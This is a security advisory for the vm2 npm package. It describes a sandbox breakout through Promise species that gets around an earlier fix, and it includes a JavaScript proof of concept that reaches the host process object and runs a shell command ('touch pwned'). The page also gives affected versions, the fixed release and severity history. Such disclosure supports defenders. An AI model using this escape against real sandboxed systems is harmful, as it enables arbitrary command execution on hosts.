VM2 Has Sandbox Breakout Through Promise Species
Summary
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function resetPromiseSpecies https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39.
This function changes the species property of promise objects back to a known value. However, it uses the function [].includes and Object.defineProperty which can be overewritten to prevent the species from being changed.
PoC
The following code demonstrates this issue by aquiring the host process object and executing touch pwned.
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
Object.defineProperty=()=>{};
async function fn() {
const e = new Error();
e.name = Symbol();
return e.stack;
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
)
}
}
};
p.then();
`);Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vm2 | < 3.10.5 | 3.10.5 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-693, CWE-94- Platform
- npm
- Package
vm2- Disclosed
- 05.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-qvjj-29qf-hp7p - CC BY 4.0
Vulnerability history: vm2
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 78
- First → latest
- 10.2021 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 51
- High 14
- Medium 12
- Low 1
Disclosures per year
- 2021: 1
- 2022: 4
- 2023: 7
- 2024: 0
- 2025: 0
- 2026: 66
-
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